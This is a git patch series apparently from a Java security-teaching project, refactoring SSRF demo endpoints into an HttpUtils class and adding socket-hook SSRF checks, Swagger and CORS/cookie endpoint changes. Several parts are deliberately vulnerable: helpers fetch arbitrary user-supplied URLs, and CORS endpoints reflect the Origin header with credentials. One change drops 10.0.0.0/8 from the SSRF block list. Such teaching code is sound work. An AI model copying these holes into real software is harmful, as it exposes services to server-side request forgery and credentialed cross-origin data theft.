+ HttpUtils.okhttp(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
+ return "okhttp ssrf test";
}
/**
- * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com
- *
- * @return The response of url param.
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
*/
- @RequestMapping("/HttpClient/sec")
+ @RequestMapping("/httpclient/sec")
@ResponseBody
- public static String ssrf_HttpClient(@RequestParam String url) {
- StringBuilder result = new StringBuilder();
+ public static String HttpClient(@RequestParam String url) {
+
try {
SecurityUtil.startSSRFHook();
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
- HttpResponse httpResponse = client.execute(httpGet); // send request
- BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
-
- String line;
- while ((line = rd.readLine()) != null) {
- result.append(line);
- }
-
- // SecurityUtil.stopSSRFHook();
- return result.toString();
-
- } catch (Exception e) {
- return e.toString();
+ return HttpUtils.httpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
+
}
/**
- * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
- * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
- *
* http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*/
@RequestMapping("/commonsHttpClient/sec")
@ResponseBody
public static String commonsHttpClient(@RequestParam String url) {
- if (!SecurityUtil.checkSSRFByWhitehosts(url)) {
- return "Bad man. I got u.";
- }
-
- HttpClient client = new HttpClient();
- GetMethod method = new GetMethod(url);
- method.setFollowRedirects(false);
try {
- // Send http request.
- int status_code = client.executeMethod(method);
-
- // Only allow the url that status_code is 200.
- if (status_code != HttpStatus.SC_OK) {
- return "Method failed: " + method.getStatusLine();
- }
-
- // Read the response body.
- byte[] resBody = method.getResponseBody();
- return new String(resBody);
-
- } catch (IOException e) {
- return "Error: " + e.getMessage();
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.commonHttpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
} finally {
- // Release the connection.
- method.releaseConnection();
+ SecurityUtil.stopSSRFHook();
}
-
}
/**
- * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。
- *
* http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
*/
- @RequestMapping("/Jsoup")
+ @RequestMapping("/Jsoup/sec")
@ResponseBody
public static String Jsoup(@RequestParam String url) {
+
try {
- Document doc = Jsoup.connect(url)
- .userAgent(
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) "
- + "Chrome/64.0.3282.167 Safari/537.36")
- .timeout(3000)
- .cookie("name", "joychou") // request请求带的cookie
- .followRedirects(false)
- .execute().parse();
- logger.info(doc.html());
- } catch (MalformedURLException e) {
- return "exception: " + e.toString();
- } catch (IOException e) {
- logger.error(e.toString());
- return "exception: " + e.toString();
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.Jsoup(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
- return "Jsoup ssrf";
}
/**
- * 用途:IOUtils可远程获取URL图片
- * 默认重定向:是
- * 封装类:URLConnection
- * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com
*/
- @RequestMapping("/IOUtils")
- public static String IOUtils(@RequestParam String url) {
+ @RequestMapping("/IOUtils/sec")
+ public static String IOUtils(String url) {
+
try {
- // IOUtils.toByteArray内部用URLConnection进行了封装
- IOUtils.toByteArray(URI.create(url));
- } catch (Exception e) {
- return "exception: " + e.toString();
+ SecurityUtil.startSSRFHook();
+ HttpUtils.IOUtils(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
- return "IOUtils ssrf";
+ return "IOUtils ssrf test";
}
- /**
- * Safe code.
- * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
- */
- @RequestMapping("/ImageIO/sec")
- public static String ImageIOSec(@RequestParam String url) {
- try {
- URL u = new URL(url);
- if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
- logger.error("[-] SSRF check failed. Original Url: " + url);
- return "SSRF check failed.";
- }
- ImageIO.read(u); // send request
- } catch (Exception e) {
- return e.toString();
- }
-
- return "ImageIO ssrf safe code.";
- }
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index a1c4cfc6..0b383f5d 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -126,7 +126,7 @@ public static boolean checkSSRFWithoutRedirect(String url) {
*
* @author liergou @ 2020-04-04 02:15
*/
- public static void startSSRFHook() throws NoSuchFieldException, IOException {
+ public static void startSSRFHook() throws IOException {
SocketHook.startHook();
}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 32373aff..3860cad9 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -132,7 +132,6 @@ static boolean isInternalIp(String strIP) {
}
ArrayList blackSubnets = WebConfig.getSsrfBlockIps();
- blackSubnets.add("10.0.0.0/8");
for (String subnet : blackSubnets) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
index b27a970f..817c881e 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFException.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -6,7 +6,7 @@
*
* @author JoyChou @2020-04-04
*/
-class SSRFException extends RuntimeException {
+public class SSRFException extends RuntimeException {
SSRFException(String s) {
super(s);
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
index 92b8f496..4ce3509c 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHook.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -12,7 +12,7 @@
*/
public class SocketHook {
- public static void startHook() throws NoSuchFieldException, IOException {
+ public static void startHook() throws IOException {
SocketHookFactory.initSocket();
SocketHookFactory.setHook(true);
try{
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
index 51a278b7..dc6d951d 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -33,22 +33,23 @@ static void setHook(Boolean set) {
}
- /**
- * initSocket
- */
static void initSocket() {
+
if (socketConstructor != null) {
return;
}
Socket socket = new Socket();
try {
+ // get impl field in Socket class
Field implField = Socket.class.getDeclaredField("impl");
implField.setAccessible(true);
Class> clazz = implField.get(socket).getClass();
+
SocketHookImpl.initSocketImpl(clazz);
socketConstructor = clazz.getDeclaredConstructor();
socketConstructor.setAccessible(true);
+
} catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
throw new SSRFException("SocketHookFactory init failed!");
}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
index c3b9c28d..de244134 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -4,7 +4,6 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
-import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
@@ -21,21 +20,22 @@
public class SocketHookImpl extends SocketImpl implements SocketOptions {
private static Boolean isInit = false;
- static private SocketImpl socketImpl = null;
- static private Method createImpl;
- static private Method connectHostImpl;
- static private Method connectInetAddressImpl;
- static private Method connectSocketAddressImpl;
- static private Method bindImpl;
- static private Method listenImpl;
- static private Method acceptImpl;
- static private Method getInputStreamImpl;
- static private Method getOutputStreamImpl;
- static private Method availableImpl;
- static private Method closeImpl;
- static private Method shutdownInputImpl;
- static private Method shutdownOutputImpl;
- static private Method sendUrgentDataImpl;
+
+ private static SocketImpl socketImpl = null;
+ private static Method createImpl;
+ private static Method connectHostImpl;
+ private static Method connectInetAddressImpl;
+ private static Method connectSocketAddressImpl;
+ private static Method bindImpl;
+ private static Method listenImpl;
+ private static Method acceptImpl;
+ private static Method getInputStreamImpl;
+ private static Method getOutputStreamImpl;
+ private static Method availableImpl;
+ private static Method closeImpl;
+ private static Method shutdownInputImpl;
+ private static Method shutdownOutputImpl;
+ private static Method sendUrgentDataImpl;
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@@ -58,8 +58,12 @@ static void initSocketImpl(Class> initSocketImpl) {
throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
}
+// try {
+// initSocketImpl = Class.forName("java.net.SocketImpl");
+// } catch (ClassNotFoundException e) {
+// System.out.println(e.getMessage());
+// }
if (!isInit) {
- //
createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{InetAddress.class, int.class});
@@ -83,7 +87,7 @@ static void initSocketImpl(Class> initSocketImpl) {
* socket base method impl
*/
@Override
- protected void create(boolean stream) throws IOException {
+ protected void create(boolean stream) {
try {
createImpl.invoke(socketImpl, stream);
} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -94,7 +98,7 @@ protected void create(boolean stream) throws IOException {
@Override
- protected void connect(String host, int port) throws IOException {
+ protected void connect(String host, int port) {
logger.info("host: " + host + "\tport: " + port);
try {
connectHostImpl.invoke(socketImpl, host, port);
@@ -106,7 +110,7 @@ protected void connect(String host, int port) throws IOException {
@Override
- protected void connect(InetAddress address, int port) throws IOException {
+ protected void connect(InetAddress address, int port) {
logger.info("InetAddress: " + address.toString());
@@ -121,14 +125,14 @@ protected void connect(InetAddress address, int port) throws IOException {
}
@Override
- protected void connect(SocketAddress address, int timeout) throws IOException {
+ protected void connect(SocketAddress address, int timeout) {
// convert SocketAddress to InetSocketAddress
InetSocketAddress addr = (InetSocketAddress) address;
String ip = addr.getAddress().getHostAddress();
String host = addr.getHostName();
- logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip));
+ logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
try {
if (SSRFChecker.isInternalIp(ip)) {
@@ -143,7 +147,7 @@ protected void connect(SocketAddress address, int timeout) throws IOException {
}
@Override
- protected void bind(InetAddress host, int port) throws IOException {
+ protected void bind(InetAddress host, int port) {
try {
bindImpl.invoke(socketImpl, host, port);
} catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
@@ -162,7 +166,7 @@ protected void listen(int backlog) {
}
@Override
- protected void accept(SocketImpl s) throws IOException {
+ protected void accept(SocketImpl s) {
try {
acceptImpl.invoke(socketImpl, s);
@@ -172,7 +176,7 @@ protected void accept(SocketImpl s) throws IOException {
}
@Override
- protected InputStream getInputStream() throws IOException {
+ protected InputStream getInputStream() {
InputStream inStream = null;
try {
@@ -186,7 +190,7 @@ protected InputStream getInputStream() throws IOException {
}
@Override
- protected OutputStream getOutputStream() throws IOException {
+ protected OutputStream getOutputStream() {
OutputStream outStream = null;
try {
@@ -200,7 +204,7 @@ protected OutputStream getOutputStream() throws IOException {
}
@Override
- protected int available() throws IOException {
+ protected int available() {
int result = -1;
@@ -214,7 +218,7 @@ protected int available() throws IOException {
}
@Override
- protected void close() throws IOException {
+ protected void close() {
try {
closeImpl.invoke(socketImpl);
} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -223,7 +227,7 @@ protected void close() throws IOException {
}
@Override
- protected void shutdownInput() throws IOException {
+ protected void shutdownInput() {
try {
shutdownInputImpl.invoke(socketImpl);
} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -233,7 +237,7 @@ protected void shutdownInput() throws IOException {
}
@Override
- protected void shutdownOutput() throws IOException {
+ protected void shutdownOutput() {
try {
shutdownOutputImpl.invoke(socketImpl);
} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
@@ -243,7 +247,7 @@ protected void shutdownOutput() throws IOException {
}
@Override
- protected void sendUrgentData(int data) throws IOException {
+ protected void sendUrgentData(int data) {
try {
sendUrgentDataImpl.invoke(socketImpl, data);
} catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
index b94b82d9..00f6c275 100644
--- a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -6,23 +6,22 @@ class SocketHookUtils {
/**
* Poll the parent class to find the reflection method.
+ * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
*
* @author liergou @2020-04-04 01:43
*/
- static Method findMethod(Class> inputClazz, String findName, Class>[] args) {
+ static Method findMethod(Class> clazz, String findName, Class>[] args) {
- Class> temp = inputClazz;
-
- while (temp != null) {
+ while (clazz != null) {
try {
- Method tmpMethod = temp.getDeclaredMethod(findName, args);
- tmpMethod.setAccessible(true);
- return tmpMethod;
+ Method method = clazz.getDeclaredMethod(findName, args);
+ method.setAccessible(true);
+ return method;
} catch (NoSuchMethodException e) {
- temp = temp.getSuperclass();
+ clazz = clazz.getSuperclass();
}
}
return null;
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..37eeb69a
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,189 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+ private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+
+ /**
+ * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
+ * UserAgent is Jakarta Commons-HttpClient/3.1. Last publish at 2007.08.
+ *
+ * @param url http request url
+ * @return response
+ */
+ public static String commonHttpClient(String url) {
+
+ HttpClient client = new HttpClient();
+ GetMethod method = new GetMethod(url);
+
+ try {
+ client.executeMethod(method); // send request
+ byte[] resBody = method.getResponseBody();
+ return new String(resBody);
+
+ } catch (IOException e) {
+ return "Error: " + e.getMessage();
+ } finally {
+ // Release the connection.
+ method.releaseConnection();
+ }
+ }
+
+
+ public static String request(String url) {
+ try {
+ return Request.Get(url).execute().returnContent().toString();
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String httpClient(String url) {
+
+ StringBuilder result = new StringBuilder();
+
+ try {
+
+ CloseableHttpClient client = HttpClients.createDefault();
+ HttpGet httpGet = new HttpGet(url);
+ HttpResponse httpResponse = client.execute(httpGet); // send request
+ BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+ String line;
+ while ((line = rd.readLine()) != null) {
+ result.append(line);
+ }
+
+ return result.toString();
+
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String URLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ public static String HTTPURLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
+ BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ /**
+ * Jsoup is a HTML parser about Java.
+ *
+ * @param url http request url
+ */
+ public static String Jsoup(String url) {
+ try {
+ String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " +
+ "Chrome/64.0.3282.167 Safari/537.36";
+ Document doc = Jsoup.connect(url)
+ .userAgent(useragent)
+ .timeout(3000)
+ .cookie("name", "joychou") // request cookies
+ //.followRedirects(false)
+ .execute().parse();
+ return doc.outerHtml();
+ } catch (IOException e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static void okhttp(String url) throws IOException {
+ OkHttpClient client = new OkHttpClient();
+ com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+ client.newCall(ok_http).execute();
+ }
+
+
+ public static void imageIO(String url) {
+ try {
+ URL u = new URL(url);
+ ImageIO.read(u); // send request
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+
+ }
+
+
+ /**
+ * IOUtils which is wrapped by URLConnection can get remote pictures.
+ * The default setting of redirection is true.
+ *
+ * @param url http request url
+ */
+ public static void IOUtils(String url) {
+ try {
+ IOUtils.toByteArray(URI.create(url));
+ } catch (IOException e) {
+ logger.error(e.getMessage());
+ }
+ }
+
+
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 7cc16e84..4816df8e 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -17,6 +17,7 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti
return convertStreamToString(in);
}
+
// https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
public static String convertStreamToString(java.io.InputStream is) {
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
@@ -33,6 +34,7 @@ public static String json2Jsonp(String callback, String jsonStr) {
return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
}
+
public static String getFileExtension(String fullName) {
Preconditions.checkNotNull(fullName);
String fileName = (new File(fullName)).getName();
@@ -40,10 +42,13 @@ public static String getFileExtension(String fullName) {
return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
}
+
public static String getNameWithoutExtension(String file) {
Preconditions.checkNotNull(file);
String fileName = (new File(file)).getName();
int dotIndex = fileName.lastIndexOf('.');
return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
}
+
+
}
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index de32f6ee..671045d5 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -14,7 +14,7 @@
Cors
PathTraversal
SqlInject
- SSRF
+ SSRF
RCE
ooxml XXE
xlsx-streamer XXE
From f296f0dd927f6ecd35543bfa5f0a504f11a6992d Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 10 Apr 2020 19:08:26 +0800
Subject: [PATCH 21/41] add swagger-ui & ssrf of httpsyncclient
---
java-sec-code.iml | 19 +++-
pom.xml | 24 +++-
.../org/joychou/config/SwaggerConfig.java | 31 ++++++
.../java/org/joychou/controller/Cookies.java | 13 ++-
.../java/org/joychou/controller/Cors.java | 25 +++--
.../java/org/joychou/controller/Fastjson.java | 2 +-
.../org/joychou/controller/GetRequestURI.java | 3 +-
src/main/java/org/joychou/controller/Rce.java | 5 +-
.../java/org/joychou/controller/SSRF.java | 105 ++++++++++++------
.../java/org/joychou/controller/SpEL.java | 3 +-
.../java/org/joychou/controller/Test.java | 14 ++-
.../org/joychou/controller/URLWhiteList.java | 53 +++++----
src/main/java/org/joychou/controller/XXE.java | 2 +-
.../org/joychou/security/SecurityUtil.java | 36 +++++-
.../joychou/security/ssrf/SSRFChecker.java | 15 +--
.../joychou/security/ssrf/SocketHookImpl.java | 7 +-
src/main/java/org/joychou/util/HttpUtils.java | 38 +++++--
src/main/resources/application.properties | 7 +-
18 files changed, 273 insertions(+), 129 deletions(-)
create mode 100644 src/main/java/org/joychou/config/SwaggerConfig.java
diff --git a/java-sec-code.iml b/java-sec-code.iml
index c9e18a68..720895cc 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -49,7 +49,6 @@
-
@@ -76,7 +75,7 @@
-
+
@@ -200,5 +199,21 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 11de6121..6e5c2455 100644
--- a/pom.xml
+++ b/pom.xml
@@ -87,7 +87,7 @@
org.apache.httpcomponents
httpclient
- 4.3.6
+ 4.5.12
@@ -222,12 +222,32 @@
1.10.2
-
+
commons-io
commons-io
2.5
+
+
+
+ org.apache.httpcomponents
+ httpasyncclient
+ 4.1.4
+
+
+
+ io.springfox
+ springfox-swagger2
+ 2.9.2
+
+
+
+ io.springfox
+ springfox-swagger-ui
+ 2.9.2
+
+
diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java
new file mode 100644
index 00000000..c2a73973
--- /dev/null
+++ b/src/main/java/org/joychou/config/SwaggerConfig.java
@@ -0,0 +1,31 @@
+package org.joychou.config;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import springfox.documentation.builders.PathSelectors;
+import springfox.documentation.builders.RequestHandlerSelectors;
+
+import springfox.documentation.spi.DocumentationType;
+import springfox.documentation.spring.web.plugins.Docket;
+import springfox.documentation.swagger2.annotations.EnableSwagger2;
+
+
+@Configuration
+@EnableSwagger2
+public class SwaggerConfig {
+
+ @Value("${swagger.enable}")
+ private boolean enableSwagger;
+
+ @Bean
+ public Docket api() {
+ return new Docket(DocumentationType.SWAGGER_2)
+ .enable(enableSwagger)
+ .select()
+ .apis(RequestHandlerSelectors.any())
+ .paths(PathSelectors.any())
+ .build();
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
index fc346ef6..f62efb2d 100644
--- a/src/main/java/org/joychou/controller/Cookies.java
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -1,6 +1,7 @@
package org.joychou.controller;
import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.Cookie;
@@ -17,14 +18,14 @@ public class Cookies {
private static String NICK = "nick";
- @RequestMapping(value = "/vuln01")
+ @GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
- @RequestMapping(value = "/vuln02")
+ @GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
@@ -37,7 +38,7 @@ public String vuln02(HttpServletRequest req) {
}
- @RequestMapping(value = "/vuln03")
+ @GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
@@ -53,7 +54,7 @@ public String vuln03(HttpServletRequest req) {
}
- @RequestMapping(value = "/vuln04")
+ @GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
@@ -68,13 +69,13 @@ public String vuln04(HttpServletRequest req) {
}
- @RequestMapping(value = "/vuln05")
+ @GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
- @RequestMapping(value = "/vuln06")
+ @GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
index a18e6280..870e809f 100644
--- a/src/main/java/org/joychou/controller/Cors.java
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -4,6 +4,7 @@
import org.joychou.util.LoginUtils;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@@ -21,25 +22,25 @@ public class Cors {
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
- @RequestMapping("/vuln/origin")
- public static String vuls1(HttpServletRequest request, HttpServletResponse response) {
+ @GetMapping("/vuln/origin")
+ public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
return info;
}
- @RequestMapping("/vuln/setHeader")
- public static String vuls2(HttpServletResponse response) {
+ @GetMapping("/vuln/setHeader")
+ public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}
- @CrossOrigin("*")
+ @GetMapping("*")
@RequestMapping("/vuln/crossOrigin")
- public static String vuls3() {
+ public String vuls3() {
return info;
}
@@ -50,8 +51,8 @@ public static String vuls3() {
* 代码:org/joychou/security/CustomCorsProcessor
*/
@CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
- @RequestMapping("/sec/crossOrigin")
- public static String secCrossOrigin() {
+ @GetMapping("/sec/crossOrigin")
+ public String secCrossOrigin() {
return info;
}
@@ -61,7 +62,7 @@ public static String secCrossOrigin() {
* 支持自定义checkOrigin
* 代码:org/joychou/config/CorsConfig.java
*/
- @RequestMapping("/sec/webMvcConfigurer")
+ @GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}
@@ -72,7 +73,7 @@ public CsrfToken getCsrfToken_01(CsrfToken token) {
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
- @RequestMapping("/sec/httpCors")
+ @GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}
@@ -83,7 +84,7 @@ public CsrfToken getCsrfToken_02(CsrfToken token) {
* 支持自定义checkOrigin
* 代码:org/joychou/filter/OriginFilter.java
*/
- @RequestMapping("/sec/originFilter")
+ @GetMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}
@@ -100,7 +101,7 @@ public CsrfToken getCsrfToken_04(CsrfToken token) {
}
- @RequestMapping("/sec/checkOrigin")
+ @GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 6063b507..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -16,7 +16,7 @@ public class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
- public static String Deserialize(@RequestBody String params) {
+ public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
index 87405b62..e500b980 100644
--- a/src/main/java/org/joychou/controller/GetRequestURI.java
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -5,6 +5,7 @@
import org.slf4j.LoggerFactory;
import org.springframework.util.AntPathMatcher;
import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@@ -30,7 +31,7 @@ public class GetRequestURI {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
- @RequestMapping(value = "/exclued/vuln")
+ @GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {
String[] excluedPath = {"/css/**", "/js/**"};
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 1bb1face..d87b2a7b 100644
--- a/src/main/java/org/joychou/controller/Rce.java
